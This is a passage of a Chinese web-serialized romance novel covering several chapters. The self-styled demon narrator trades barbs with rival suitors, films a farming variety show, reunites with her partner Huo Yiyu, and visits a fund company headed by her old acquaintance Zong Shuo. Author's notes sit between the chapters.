“把人当成玩具,随意地玩弄揉捏,就不?怕有一天自己也遭受同样的对待吗?” “霍亦瑀知道你在和他的朋友一起?玩吗?” “知道又怎么样,不?知道又怎么样?” 我疑惑地说:“这件事从头?到尾都和你没关系吧。” “我只是想说。”他嗤笑一声,“他知道的话,就不?可能永远保持冷静。” “我记得你有哥哥吧。” “霍亦瑀把您从别人手里抢来,就不?怕哪天也有人对您做同样的事?更何况……你本就不?是安分的人。” “谁都能来你附近,总有一天会引发?混乱。” 泉越泽的语气像是结冰似的,冷若冰霜地盯着我:“你管不?住这么多狗。” 撂下最后一句话,他一瘸一拐地往前走。 而我彻底怒了。 怎么会有这种听不?懂人话的人,简直就是个行走的沙包,长得不?算欠打,但是浑身?上下写着‘来揍我’的人。 从头?到尾都没听懂他说的话,但是每个字都激怒了我。 乘他病要他命,我努力爬过?围栏,冲上去狠狠地踹他的屁股,然后对着他做了个鬼脸。 “对啊,我不?仅要惹,还要惹你,只是因为单纯看不?惯你,所以才要为难你而已。” 我:“以前的事我不?记得了,反正你就是个自大的讨厌鬼。” “等着被我欺负吧!” 他身?体晃动,差点又摔在地上,视线犹如探照灯,直直地打在我的脸上。 这幅模样让我好受不?少,还想拉着小弟颜升进行联合霸凌,说出?关键的‘这里不?欢迎你’的关键台词。 结果他一点眼力见也没有,反而走到我面前,人高马大遮挡住我的视线,似笑非笑:“你真把他的话放在心上了?别人说什么就让他说去呗,反正也没人管得了你。” 我根本不?担心这件事,我生?气的是他竟然想装一波然后跑了,显得我像是被打脸的那一个。 我推了下颜升,但他纹丝不?动,还故意遮挡住我的视线,我往左他就往左。 等我把颜升打开?,泉越泽仍然驻足原地,微微拧着眉头?,一副不?能理解的神情。 但我品尝到了奶味冰淇淋融化的气味,视线相对时,我真正对这个人产生?了由衷的疑惑。 为什么? 他的表情逐渐难看,最后阴黑着半张脸,一瘸一拐地从我面前走过?,背影显得格外落魄。 颜升再次挡在我面前,舌头?顶了下腮帮,“别看了,他都走了。” 说完,他又笑了起?来:“别生?气啦,下次我帮你整回来,他不?多说了两句吗,下次就让他完全闭嘴好吧,别让他打扰我们的相处时间。” “你怎么不?告诉我,你还有哥哥,告诉我吧,你还没遇到霍亦瑀的时候,肯定会很有趣啊。” 他像个章鱼似地黏住我,怎么也拉扯不?开?。 “刚才你应该拉住他,跟着我一起?教训他才对。” “抱歉嘛。” 颜升耸肩说:“我还没有做过?这种欺负人的事,如果你真的想整他,可以再狠一点,比方说物理上断胳膊断腿……像刚才那种,说不?定我会吃醋哦。” 我脑袋里的疑云像是一座巨大的山。 “你也想被我骂?” 他哇了一声,兴致勃勃地看着我:“可以吗?” “……” 我怒起?来真的会撕碎这条内裤! “我这么舔着上,你就骂我舔狗吧。”他笑盈盈地说,“要我当你的狗也不?是不?行。” “我才不?要狗。” 我说:“尤其是你这种嘴上说一套背地里做一套的狗,我最讨厌高高在上的人了,如果真的想当狗,那你现在就跪下来汪汪叫吧,而不?是一边说着,一边想要看戏的样子。” 颜升仍然笑着,脊背挺直,低头?看着我。 他眼中的黑几?乎凝成实质,在金色发?丝的衬托下,愈发?像个看不?见底的黑洞。 过?了几?秒,他忽然蹲下身?,伸出?手替我拍掉腿上的草屑,仰头?看向我,微微眯起?眼睛,笑道:“你说得对啊,简直命中本质,我真的想知道为什么遇到你的不?是我,而是霍亦瑀。” “真可惜,要是再早一点相遇就好了。” 浓烈的鲜花饼气息覆盖味蕾,我尝了一口,被腻得发?慌。 他突然问:“你喜欢霍亦瑀吗?” 我没有回答,而是开?始思考人生?。 他见状握住我手里的马鞭,微微用力扯了下,等夺过?我的注意力后,又问:“那邛浚呢?” 我用看神经病的眼神看着他:“你真的很奇怪。” “谢谢夸奖。” 完全没有在夸你! 我抽回马鞭,径直朝着建筑楼的方向走去。 “说点什么吧。”他拖长音调走在我身?后,“想让我做什么也可以。” 我:“把你的财产全部转移到我的名下。” “哇哦,还做不?到。” “你好没用。” 他一直跟在我身?后,像个阴魂不?散的背后灵,“我也是为了不?被抛弃嘛,要是给了,肯定转眼就不?需要我了,像这种事,霍亦瑀肯定比我懂。” “我得向他学习啊。” 我无视了他的话,但刚走进大厅,便看到了另一个不?速之?客。 柯觅山不?知道看了多久,表情复杂,正拆下手套,嘴唇微动,看上去要开?始说屁话。 他是什么固定刷新npc吗?总是能撞上我和颜升。 还没等他开?口,我边钻进旁边的更衣间,换好衣服,重新收拾心情。 在更衣的时间里,我得出?一个重要的结论:我和带赌字的地方有仇,每次都能撞上事故现场。 只要我在,就一定会发?生?撞栏杆的事。 我决定了,我再也不?来了! 等我再出?来时,颜升正在和柯觅山讲话,抬头?看见我,眼睛亮得发?光,笑容满脸地围了上来。 “刚才你走得真快,还在生?气吗?别生?我的气了,我马上就去帮你做事行不?行?” 旁边有人的时候,他说得更起?劲,仿佛丝毫意识不?到柯觅山复杂的眼神。 我不?耐烦地挥手:“你真的很烦啊。” 颜升:“想要赌马场吗?送给你怎么样?” 我的怒火小了一点,于是点了点头?。 旁边的柯觅山依旧不?动声色,脸上挂着假笑,弧度像是面具般镶嵌在脸上。 颜升这才恍然注意到他,笑着拍了拍柯觅山的肩膀。 “我才知道你和他是校友啊,真想知道小冬以前的样子,肯定会很可爱啊。” 他转向柯觅山,感激地说:“上次谢谢你了,下次请小柯总吃饭。” “……不?用了。” 柯觅山看了我一眼,唇角勾起?假笑的弧度,“我也没帮到你什么。” 眼看要变成商业互吹,我环顾四?周,忽然问:“泉越泽在哪。” 柯觅山沉默片刻,回答:“他去更衣室了。” 更衣室吗。 我转了下眼睛,拉住颜升说:“你把他的衣服偷出?来。” 颜升先看向柯觅山,接着弯了下眼睛,说完好字转身?离开?。 这人就像个青蛙,要戳一下才会动一下,但好歹会动,还能爆点金币。 “你不?该和他走近。” 耳畔传来幽幽的声音,等我看向柯觅山时,他正低头?整理手套,浓密的眼睫抬起?,轻声道:“他们争起?来对你没有好处。” “如果被霍亦瑀发?现,你知道要怎么办吗。” “你觉得他不?知道吗?” 我说:“你们总是在想奇怪的事,被发?现又怎么样,不?要对我指手画脚。” 柯觅山的目光冷了下来:“颜升在你身?边,你不?知道他的图谋?” “我知道你的图谋。”我说,“你是闲得没事了,忮忌他,别来烦我,我对你没兴趣。” 他咬了下后槽牙,在颜升出?来时恢复理智,脸上挂起?假笑,挥手告别。 “你们在说什么?” “说你的坏话。” 颜升无辜地耸肩,手里握着一堆衣服,笑盈盈地说:“要怎么处置?我的建议是丢了。” 我盯着这堆衣服,忽然觉得没意思,所以挥了下手,说:“你送回去吧。” “?” 颜升歪头?看着我,嘴角的笑意加深:“原来是在惩罚我啊。” “我可不?会生?气,你应该多命令我一点。” 等他把衣服送回去,我兴致寥寥,忽然产生?了一种愁绪,一种身?边全是脑残神经病的愁绪。 等他把车停在楼下,我唉声叹气,打算开?车门离开?,但拉了一下,没拉动。 转头?时,他正看着我。 颜升:“不?做点什么吗?” 做点什么?我现在兴致全无,还能做什么? 周围寂静无声,别墅区亮着柔和的灯。就在车停靠的旁边,那栋楼里亮着温暖的灯光,霍亦瑀没回来,但我莫名看这栋楼不?爽。 我应该自己买栋房子,即使霍亦瑀不?在,他的名字也总萦绕在耳边。 我撑着下巴望着窗外的房子,越看越不?爽。 颜升的声音在耳边响起?,不?知何时他已越过?中间的阻碍,凑近我耳边,发?丝蹭在脸侧:“想他了?” “我只是在想该买个新房子。” 他低笑一声,眼睛里晃动着细碎的光:“买什么,在这里面不?是更刺激。” “在他为你精心布置的房子里,享受着他带给你的一切,然后跟我一起?沉沦,不?是更爽吗?我也可以穿他的衣服,只要你想,我什么都可以为你做。” 我:? 我觉得颜升就是个纯粹的变态,脑子里没有半点正经东西,跟这种人是说不?通的,我再次产生?了外星人来地球,语言不?通的困扰感。 人类的语言是不?通的啊! 于是我叹了口气,手摸上他的后脑勺,轻轻抓住了他的头?发?。 “我才不?会让你进去。” 我说:“就在这里。” 他望着我,露出?两颗虎牙,目光灼灼,像是某种兽类。 当他俯下头?,我终于在热切的呼吸里,暂时驱散了脑海中乱成一团的思绪。 果然。 我想,还是要多找点乐子才行—— 作者有话说:又处于卡文状态,窝要坚持熬过这个月!没写到想写的剧情之前,窝只能每天憋了,呜呜呜呜,老天啊,快让窝文思泉涌! 修了个文,窝好困,先睡了 第87章 彻底的放纵后, 我陷入贤者时间?。 我在思考一件事。 我的生活似乎哪里?出了问题,就?在从见面会见到邛浚、大脑里?的下水道疏通那天起?。 每次想做的事都一波三折,私人?飞机滞后好几天来回?到手里?,而我的新房子更是到现在都没有动静。 泉越泽的话虽然我一句也没听, 但有件事让我格外不爽。 以前怎么没发觉霍亦瑀的存在感这么强, 简直无处不在, 不管是谁,张口闭口都要提一句霍亦瑀,他明明在忙工作,却像阴魂不散似的缠着我。 所以, 我坚决地要买个房子。 再次来到综艺拍摄地时,我郑重其事地对坐在旁边的浦真天提起?这件事。 “买房子?”浦真天略显犹豫,“小冬打算买哪里?的房子?” 我还?没想好。 因为选择太多, 最中意的又?不肯出售,导致一直找不到合心意的。 要求很简单啦,风景优美?,有落地窗, 然后面积大一点……其实也不需要很大,因为太大了,家?里?总需要保洁来打扫。 要是再不做选择的话,说不定会一直卡着不买。 我问他:“你住在哪里??” “我?” 浦真天怔了怔, 过?了会儿才回?答, “我没有自?己的房子, 在市中心租了间?公寓。” “为什?么不买啊?”我疑惑地问, “租房子的话,那房子就?不是你的,买了就?是自?己的, 租房子的钱每天都花得很不值。” 每个月付房租,不如一次性买断来得痛快。 浦真天轻声说:“只有我一个人?住,没想过?要买下来,毕竟也不是长久居住。” 我不懂,明明怎么想都是买房子更好。 被我用不解的眼神看?着,他笑着叹了口气,解释道:“我一个人?住,也算不上?是家?,只是居住而已,租房买房对我来说,都一样。” 我摸了摸下巴,叹气道:“这不好啊,人?总要个属于自?己的窝。” 我对窝有很深的执念,虽然平常看?出来。 因为恶魔是独居种族,每个恶魔长大后都会去霸占一片领地,没有经过?允许绝对不能随便进入! 但奈何实力弱小,我的窝总是经历各种摧残,在风吹雨打下永远破破烂烂。 “不如这样,我们做邻居吧!”我灵光一闪,“既然你无所谓,那我就?住你隔壁,怎么样?” 这样就?能把选择权交给他,让他挑个称心如意的地方。 被我盯着的浦真天愣了愣,随即微笑着点头?。 化妆师放下刷子时,一直守在旁边的车千亦抽走我手里?当摆设的台本,提醒道:“马上?开拍了,流程记住了吗?” 我胡乱点头?:“记住了。” 她看?看?我,又?瞥了眼端坐的浦真天,忽然叹了口气:“等会儿镜头?前别表现得太亲密,我相?信这位也不想第一次上?综艺就?被抵制,模特比明星更依赖商业资源。” “我没关系的。” 浦真天温和接话:“按小冬的意思来就?好。” “你——” 车千亦嘴角抽了抽,环顾四周,“你的经纪人?呢?上?次陪你来的那个投资人?呢?” “他有事还?没到。”浦真天老实交代,“我没有固定经纪人?,活动都是公司统一安排的。” 车千亦盯着他看?了两秒,最终摆摆手,面无表情地离开了。 我好奇地问:“泉卓逸不是你的经纪人?吗?” “我只是侥幸受了他的帮助。”浦真天解释道,“他在公司有本职工作,不可能一直照顾我。” “真奇怪啊。” 我感慨道:“以前你们两个那么不对付,现在关系倒是变好了。” “……他人?挺好的。” 浦真天轻轻叹了口气,目光有些复杂,“没有我想象中那么坏,而且最近这几年,他的变化很大。” 工作人?员引导我们走出房间?时,外面早已站满人?。 当摄像机对准我们,导演喊出“开拍”时,我才在攒动的人?头?后瞥见姗姗来迟的泉卓逸。 但来不及细看?,补光灯就?夺走了绝大部分注意力。 被众多镜头?聚焦的感觉,像是在阳光下看?那些闪闪发光的尘埃。 拍摄流程无非是念台词、按剧本互动。轮番介绍时,每个人?脸上?都挂着友好的微笑,鼓掌欢迎新嘉宾。 浦真天虽是初次拍摄,却并不显得局促,在被鼓掌致意时,他摸了摸后脑勺,流露出恰到好处的腼腆。 至于我,我在走神。 我的工作状态就?是走神。 视线在天际与地面间?游移,被围墙圈起?的自?然风光里?,工作人?员的身影破坏了欣赏氛围。 只要平视,目之所及全是人?,镜头后面藏着更多眼睛。 综艺不像是电视剧那样会停很多次,绝大部分都是依靠着主持人的台词功底。 在一问一答似的抛梗环节里?,我仿佛能幻视视频软件里?的截取片段,配上?哈哈大笑的特效,压根不好笑也能剪出好笑的感觉。 反正bgm响起?,笑就?完事了。 我也跟着脑海里的画面笑出声。 但其他人?并没有想象到,也没有笑,而是用奇怪的视线看?向我。 我挥了下手,说:“有虫子。” “确实有虫子呢!” 负责主持的前辈熟练地把话题拉回?正轨,搞怪地说:“这里?最多的就?是虫子啦,看?来连虫子都被我们小冬吸引了,以前它们可是最爱叮吴冰的。” 他行云流水地把剧本要点又?过?了一遍,相?当专业。 我保持着良好的面部表情,因为很可能会被做成剪辑安利视频,所以偶尔也凹个造型。 没过?多久,烈日就?把我晒蔫了,终于进入下一环节,开始可以乱走的田野互动。 大致是把人?分成新老两队,比赛谁插的秧苗多。我、浦真天和一位前辈同?组,前辈主动请缨去抢秧苗,浦真天自?然成了插秧的人?。 而我,在客套的起?哄声中沦为增重道具——要和浦真天绑着手完成下田任务。 田埂上?热闹非凡,头?顶悬着摄像机。我望着泥泞的水田还?没发表感想,浦真天已经蹲在我面前。 他扭头?看?我:“小冬到我背上?来吧,田里?可能有水蛭。” “不会有的啦,他们说处理过?了。” 但我还?是不想踩进泥水里?,顺势爬上?了他的背。 不远处的车千亦镜片反着光,嘴角抿成直线。摄像机对准我们,迫不及待地记录着。 我趴在浦真天背上?,漫无目的地看?着他熟练地插秧,旁边的老队员浮夸地大呼小叫,进行着综艺式打闹。 天上?的云慢悠悠飘着,我打了个哈欠,仿佛沉浸在柔软的棉花糖里?。 其实像这样什?么都不用做也挺好的。 所以……栾明为什?么会消失不见呢? 我在浦真天耳边悄声问:“栾明是在和你闹脾气吗?” 浦真天正好俯下身,额头?上?积满汗珠,在阳光下闪闪发光,他眨了下眼睛,抬手擦了下汗:“……嗯。” “他总是在生气。” 在接近离开的那几天,浑浊的黑线缠绕着,将他淹没,但在那之前,黑色的情绪已经在他身上?扎根。 我原以为有钱就?会变好,但人?类不是我想象中的生物。而栾明,是我见过?最奇怪的人?。 他反而总是要我想要什?么,孜孜不倦地、固执地问。 我想要什?么? 我觉得自?己很好满足:一栋大房子,每天吃饱喝足就?够了,其实我不爱到处玩,更像是在收集勋章一样收集着那些东西而已。 “是我的错。” 浦真天稳稳地背着我,呼出温热的气息。汗珠滚落,他的胸腔微微震动,“我总是在做错事,从小就?是这样,什?么都做不好。” 我的脑子里?蹦出似曾相?识的画面,于是用手扯了下他的脸,兴冲冲地说:“你记得之前,有一条我告诉过?你的话吗,要学着变得自?私啊,不自?私的话,难道你要永远怪罪自?己吗?” 他笑了笑,点点头?。 他肯定没听进去,像个蒙着眼睛前进的驴,大部分人?也是这样,但我也不会怪罪他。 不是所有人?都能够违背自?己的内心,按照别人?的话做事。 所谓当局者迷,旁观者清啊。 我高深莫测地感慨着,在浦真天的背上?轻松度过?了田间?环节,之后的聚餐环节就?更轻松了,反正讲话的都是那几个人?。 我只需要按人?设发呆就?好。 拍摄结束时,导演和编导笑容满面地出来收尾,特别表扬了浦真天,接着张罗起?聚餐。浦真天推脱不过?,很快被人?群淹没。 我对这些毫无兴趣,趁他们开口邀请前,抢先?躲到车千亦身后溜走,晃悠到休息室外的大树下。 刚坐下,身旁就?多了一道影子。 泉卓逸在我身边坐下,穿着那套眼熟的西装,这次他格外小心,不让裤管沾上?尘土。 我悠闲地望着头?顶的树叶,余光瞥见一道闪光,定睛一看?,发现他不知何时重新戴上?了耳饰。 我不由说:“顺眼多了。” 他摸了摸耳垂,看?向我,咬着下唇,眉头?微蹙。似乎有千言万语,最终却垂下头?,沉默地盯着地面。 “你喜欢吗?”他问,“以前我的打扮。” 我歪头?思考。 说得上?喜欢吗?还?是说只是适应了呢?因为最开始他就?是用身上?叮咚响的打扮出现,所以我的第一印象就?已经根深蒂固。 “可以吧。”我说。 他笑了下,忽然松了口气:“不是讨厌就?行了。” 沉默间?隙,我忽然想到一件事,他既然不是经纪人?,怎么整天显得这么清闲? “所以,你现在主要负责什?么工作?” 泉卓逸回?答:“融资公司,我负责企业合作方面,不过?都是些小事。” 融资听起?来很厉害的样子,什?么基金投资、股票买卖,听着就?高大上?,我觉得自?己也该搞点这类事,比如现在开始努力开个公司,成为顶级公司的董事长。 当我幻想时,身旁的人?也陷入寂静。 片刻后,泉卓逸忽然开口:“看?到浦真天,你没有什?么想法吗?” “什?么想法?” “关于以前……对从前的任何想法都可以。” 我:“没有。” 我不喜欢独自?想以前的事,它偶尔跳出来,我就?想一下,但专门去想有什?么意义呢?过?去的事,还?是让它过?去比较好。 头?顶的光斑在脸上?跳跃,不时掠过?视网膜,一半明亮,一半阴影,闭上?眼时,光斑还?残留在眼皮上?。 闭眼看?到的不是黑色,而是红色,如果不想点什?么,就?永远停留在红色里?。 在这片红色之下,我的脑海里?空空如也。 身旁甜腻的气息存在感十足,不时传来衣料摩擦的窸窣声,即使闭着眼,我也能想象出他不安地摩挲衣角的模样。 嘴唇一定被咬着,手指紧了又?松。 如果有唇环的话,会咔咔作响。 “那我呢?”他嗓音干涩,“对我有什?么想说的吗?” 我还?以为他能像其他人?一样糊弄过?去,毕竟只要往前看?,大家?都能装作无事发生。 但他固执地停留在原地。 我想了想,说:“你比以前无趣了。” 一声轻笑从他唇间?逸出,随后是更长的沉默。 “我真的搞不懂你。” 他说:“以前不懂,现在也不懂,可能这辈子都不会懂。” “但我就?是犯贱……离开后的每分每秒都在想你,梦里?想,醒着想,只要还?在呼吸,就?控制不住地去想。” “如果这辈子都见不到你……我无法想象,可真的再见时,我又?管不住自?己,我想做尽自?甘下贱的事,明知道你会把我踩进泥里?,还?是忍不住想靠近你。” 冰凉的指尖轻触我的手背,像一滴雨水落下。 我睁开眼,撞进一双被阳光照亮的绿眸。他闭上?眼别过?脸,闷声说:“如果我想回?到你身边……你能不嫌弃我吗?” 他把脸埋进臂弯,纤长的身体蜷缩起?来。 我欲言又?止,不是很想。 下一秒,手机铃声刺破寂静,响了好一阵,泉卓逸才拿起?手机。 我瞥见屏幕上?“泉越泽”三个大字。 在看?到这个名字的瞬间?,我条件反射抬手按住泉卓逸。 他看?向我,表情诧异,复杂得像被坚果砸懵的松鼠。 我说:“那你要听话,先?把电话挂了。” 他用力点头?,手机被反扣着搁到一旁,那通来电被彻底忽略,冰凉的触感缠在手,他的掌心是湿热的。 呵呵呵,泉越泽。 果然如我所料,泉卓逸自?己就?会往我身边凑,要是被泉越泽知道,怕是要在办公室摔东西! 呵呵呵,看?你怎么跟我斗!—— 作者有话说:拍个综艺让普子黑红,被美团扒出来放过男公关,刚想发出嘲,结果发现冬子也在男公关店工作过,遂灰头土脸开始捂料(?),最后弄出一部完全把普子p掉or换头的综艺cut,感觉梦男梦女会拿把普子穿走(?) 再写几章,哥回来就开始腥风血雨了,哥还在酝酿(到底在酝酿什么)(发酵)(膨胀)(发霉)(发灰)(发黑) 第88章 手机再次被消息轰炸时, 我忽然觉得泉越泽的话有点?道理了。 巴啦啦……巴啦啦……什么你管不了这么多?狗这句话。 从早上睁眼?到现在,我几乎一直在处理源源不断的消息。真不明白颜升和?泉卓逸哪来这么多?话要说,尤其是?颜升。 自从上次之后,我本来不太想搭理他, 结果越不搭理他越来劲。 他一个人就能自娱自乐发上大半天。 比邛浚刷广告还离谱, 消息几乎一刻不停。我问他难道不用上班吗, 他立刻回复说要来见我。 而泉卓逸则开始事无巨细地汇报他的生活日常,仿佛要把过去几年欠的一并?补上。 光看聊天界面?的文字我都觉得恼火。 于是?,我翻出超话开始用粉丝的赞美?洗眼?睛,结果划到几条意味不明的发言, 还看到了普男的字眼?,下?面?评论争论不休,让我摸不着头脑。 我打了个哈欠, 再次翻回社交软件。 [浦真天]:(图片)(图片)(图片) [浦真天]:小冬,这几个选址你觉得怎么样? 点?进图片,我发现是?拼贴过的房子环境照,旁边还标注了价格, 简单易懂,再往下?翻,每个看上去都不错。 [世界第一恶魔大人]:都不错,你继续选, 再多?找几个 [浦真天]:买房这件事, 其他人知道吗? [世界第一恶魔大人]:只有你知道啦, 而且我的事, 为什么要告诉别人 [浦真天]:好(微笑.jpg) 闲来无事,我把能翻阅的地方都翻了个遍,接着开始窥视朋友圈, 想从他们的生活里获取一点?炫富的灵感?。 说到炫富,距离私人飞机交付还有两周,到时候一定要好好炫耀一番,加上颜升昨天发来的文件,我的资产又涨了不少。 或许该雇个人每天给我播报资产数额。 我在床上翻了个身,懒洋洋地划拉着手机。 朋友圈被各种风景照刷屏,除此之外就是?美?食照片。除了我那些?朋友,几乎没人发自拍。 邛浚虽然总爱给我发自拍,却从不在朋友圈发,那里全是?清一色的高端广告。 当那条基金广告再次出现时,我的手指停了下?来。 黑金配色的海报上印着醒目的标语:“理财,让钱生钱”,但设计风格格外夸张,像是?老古董做的东西。 昨天听了泉卓逸那番话,我又开始心痒痒。 [世界第一恶魔大人]:你在给谁打广告?为什么最近总是?发基金公司? [邛浚(保持警惕)]:一个熟人哦 [邛浚(保持警惕)]:虽然很?不想说,但是?你可以去看看,距离别墅区只有五公里 [邛浚(保持警惕)]:哎呀,你别去,我应该再多?收一点?钱的 他这是?在用激将法?我承认我确实?心动?了。 打开地图,发现这家公司居然坐落在寸土寸金的中央商业区,周围都是?知名企业,看起来不像是?骗子公司。 但这样的公司,为什么审美?这么差?还要靠邛浚打广告? 我百思不得其解,心里像有只小猫在挠,越看这土气的海报越觉得眼?熟,总觉得在哪里见过。 正当我纠结这份熟悉感?从何而来时,自动?门锁的声音忽然响起。 这个时间点?应该不是?保洁。 我抬头望向门口。 脚步声沉稳有力,穿过客厅朝卧室走来,在他现身之前,我已经猜到来人是?谁。 于是?我继续看手机屏幕,思考着“让钱生钱”这句话的美?妙之处。 一道阴影笼罩下?来,我抬眼?,对上那双浅色的眸子,他风尘仆仆,周身带着寒意,像是?连续工作了很?久,眼?下?泛着淡淡的青黑。 虽然霍亦瑀是?个工作狂,但黑眼?圈在他脸上很?罕见。 看来这次的工作确实?很?棘手。 他站在床边,唇角挂着浅淡的笑意,像是?在等待着什么。 对视几秒后,我张开双臂。 霍亦瑀轻叹一声,整个人栽进我怀里,压得我发出被挤扁的声响。 我拍拍他的肩膀,触到西装上冰凉的湿气。 “你在办公室待了多?久?像块冰。” 他用下?巴蹭着我的颈窝,痒得我直眯眼?,躺了会,干脆利落地脱掉外套,双臂用力将我搂进怀里,一个翻身让我趴在他胸口,像叠叠乐似的叠在他身上。 “没多久。”他的嗓音有些?沙哑,“两天两夜而已。” 哇。他居然还活着。 我仔细听他的心跳,依旧平稳有力,听不出熬夜的痕迹。 我摸索着,拍了拍他胸口:“听上去不像熬过夜。” 他低笑一声,握住我的手,弯起的眼?睛里漾着微光,“不如再仔细听听看。” 我又趴下?去,用医生般的严谨态度仔细聆听。 除了稍微加速之外,确实?听不出什么异常。 “你身上好冷。”我评价道。 “不喜欢冷吗?” 霍亦瑀问:“上次去雪乡,你玩得很?开心,离冬天也不远了,下?下?个月我们再去吧。” “可别再像上次那样,带着雪橇犬跑进后山,把我吓坏了。” 模糊的记忆渐渐清晰,我隐约记得确实?有这么回事,当时玩得太兴奋,一头扎进雪堆里越跑越远,最后还是?霍亦瑀带着搜救队,打着手电在夜色中找到我。 那个度假区,我们每年都会去。 “你为什么这么喜欢冬天?” 我没回答过他吗? 想了想,我说:“因为冷比热舒服,下?雪比下?雨好玩。” 他轻轻应了一声,闭上眼?睛像是?要睡着了,我抬手玩着他浓密的睫毛,他的睫毛很?直,一点?也不卷翘,眼?尾微微下?垂,像鸟类的羽毛。 霍亦瑀一动?不动?,真的像是?睡着了。 我也被传染了困意,打了个哈欠,翻身摸出手机继续看那家基金公司的广告。 大约过了半小时,身下?的人才悠悠转醒。 我感?受到一道专注的视线,转头对上他的眼?睛,眨了眨眼?问:“今天不上班吗?” 霍亦瑀唇角微勾,淡淡地说:“不确定。” “你有事要忙?” 反问后,他又自顾自地说:“车千亦没说有新行程。” “我当然有事要忙。”我理直气壮地说,“虽然看着很?闲,但实?际上我正处于忙碌的状态,所有事都在来的路上。” 至于什么事,我也不清楚。 他依然搂着我,轻轻揉着我的膝盖,因为以前常去雪地,膝盖容易受寒,慢慢就养成了这个习惯。 温热的掌心贴着膝盖,像被海星吸附住,缓缓摩挲着。 “最近周围似乎出现了不少人。”他微眯着眼?,语气平淡,“虽然才过了几天,却像回到五年前一样。” 说着,他轻叹一声。 “哪里像了?” 他但笑不语,只说:“除了你哥哥不在身边,其他不是?越来越像吗?” 我细数了一下?,还少了宗朔和?麦景呢。 “你和?你哥哥感?情很?好。” 他带着些?许怀念说:“我还没见过比你们更亲密的兄妹,虽然我也有兄弟姐妹,但从来不像你们这样。” 可是?除了最后来接我的时候,他根本没见过栾明,怎么会得出这种结论? 我把它归结为他的夸张说法。 “有时候,还真有点?羡慕。” 听到这句话,我说:“那你把国外的兄弟姐妹接回来不就行了?” “你不会想见他们的。” 他说:“恨屋及乌,他们也会讨厌你。” 我十分纳闷:“冤有头债有主?,他们凭什么讨厌我?” 那爱屋及乌,霍亦瑀应该会喜欢栾明。 霍亦瑀轻抚我的脊背,像在提供哄睡服务,拍得我昏昏欲睡,半梦半醒间,手机被人抽走,等我打个哈欠翻过身,发现他正专注地看着我的手机屏幕。 手机的冷光映在他脸上,像覆了层薄霜,但他忽然笑了,浅色的眸子转向我。 “大忙人。”他说。 我直起身坐在床上,抢回手机,得意地说:“那当然,我可是?很?忙的。” “今天又要出去玩?” “不是?。”我摇头,“我要去办正事。” “我要去基金公司看看。” 刚说了自己很?忙,我一定要装一下?,至于基金公司,它们回复极其热情,说要用vip贵宾礼仪招待我。 霍亦瑀点?了点?头,十指交叠放在腹部?,闭目养神?。 现在已是?下?午,我给司机发了消息,从床上爬起来换衣服。 背后始终有道视线如影随形。 每次转身,我都能对上霍亦瑀浅色的眼?睛,像某种大型猫科动?物在暗中观察。 就在我换好衣服时,霍亦瑀的声音响起:“今天真的不出去玩?” “不去。”我再次强调,“我是?去办正事的。” 他笑容依旧,淡淡说了声好。 等我下?楼坐上前住基金公司的车,司机不时从后视镜看我,每当我看过去,他就立刻移开视线,假装在观察后方车流。 基金公司坐落在一片工业园区里,我提前给海报上的联系人发了消息,没想到他们居然出门相迎,老远就能看到拉着的红色横幅。 刚下?车,一位穿着职业装的女士就迎了上来,笑容可掬:“是?栾小姐吧?这边请,一路上辛苦了,先喝点?水,我来为您带路。” 她身后的人连忙递上矿泉水,然后跑去引导司机停车。 我的目光落在旁边的红色横幅上,心生疑惑。 女士顺着我的视线看去,笑容不变:“这是?专门为欢迎您准备的,不知道您喜不喜欢。” 横幅上写着几个醒目大字:恭迎视察。 像是?在迎接什么董事会成员,而且又土又俗,但我心里暗暗爽到了,云淡风轻地挥挥手,让她带路。 女士引我走进电梯,一边介绍:“本公司成立于1998年,至今已有二十六年历史,从最初只有三个人的小办公室,发展到如今管理着超过八百亿资产规模……” “我们专注于为高净值客户提供全方位的资产配置服务,在私募股权、二级市场和?另类投资领域都有深厚积累。” 完全听不懂,但似乎很?高大上的。 “公司成立二十多?年来,一直保持优异业绩,从业至今盈利丰厚,从无亏损,如果亏损了——” 她轻咳一声,视线飘向别处,义正辞严地说:“如果亏损了,就把公司交给您。” 我:“?” “叮。” 电梯抵达顶层。 整层楼被完美?的落地窗环绕,几乎触手可及的天空下?,密密麻麻的楼宇像钢铁森林。 一个人站在办公桌后,薄荷的气息先一步扑面?而来。 许久不见的人懒洋洋地抬手:“哟,好久不见。”—— 作者有话说:今天的窝是短小的窝,更新根本写不长啊! 为了完结,我拼了!! 第89章 我有?淡淡的不?解, 淡淡的质疑以及淡淡的释然?。 按理说宗朔应该坐牢了,而?之前我以为见鬼的那次,竟然?是真的遇到他?了。 他?什么时候出狱,摇身一变成为基金公司的董事长?了? 我用质疑的眼神看着他?时, 引路的女士已经退后, 按着电梯下去了。 而?宗朔手里握着杯子, 姿态随意地来?到我面前,将杯子递给我,然?后又从兜里掏出零散的水果糖,摊开在手上:“吃吗?” 我随便?拿了一颗。 继续质疑地盯着他?。 “还没认出来??” 他?撩开额前的头发, 困倦地打了个哈欠,“不?过五年而?已,我也没有?老到让你认不?出来?吧。””你……”我迟疑地开口, ”不?是应该在坐牢吗?” 宗朔微笑的弧度僵了一下,疑惑地眯起?眼睛。 “谁告诉你的,霍亦瑀?” “不?是。” 我摇头道:“我回A市的时候,其他?人说的, [极乐世界]倒闭了,他?们都说你被抓进监狱里坐牢了。” “真是……挺无语的。” 宗朔耸了下肩:“我只是上岸了,不?是入狱了。” “你什么时候当上的董事长??” “四年前。” 我若有?所思,嘀咕道:“原来?开公司这?么简单。” 四年前就能当上董事长?, 说明[极乐世界]一倒闭, 他?就跑去开了公司。 等等, 这?家公司不?是成立二十多?年吗—— 宗朔没回答, 而?是将办公桌前的椅子丝滑地挪了过来?,递到我身后,拍了下我的肩膀:“坐呗, 大客户,视察结束来?聊聊天吧。” 我好奇地左看右看,深感这?个办公室的舒适。 桌子是用红木做的,椅子完美贴合脊背,而?周围散发着精致气息的摆件更是让人忍不?住质疑。 要我说,他?们男公关上岸是不?是太容易了点? 宗朔给自己倒了杯水,在办公桌前坐下,仿佛我才是老板,而?他?是来?询问的客户。 他?捧着杯子,像个老年人似的,悠闲悠哉地转动着椅子,我扫眼桌面,没看到打火机和烟灰缸。 “你不?抽烟了?” “嗯。”他?说,“再?抽说不?定明年就要死了。” “你有?点可怕。” 宗朔挑起?一侧眉,单手撑着下巴,撩起?眼皮看我:“怎么说?我经常出现在你的噩梦里?” “不?是。” 我正?经地说:“我怀疑你在开**公司,想联合邛浚来?骗我。” 虽然?这?个办公室很好,但?处处都是疑点!我的怀疑有?理有?据。 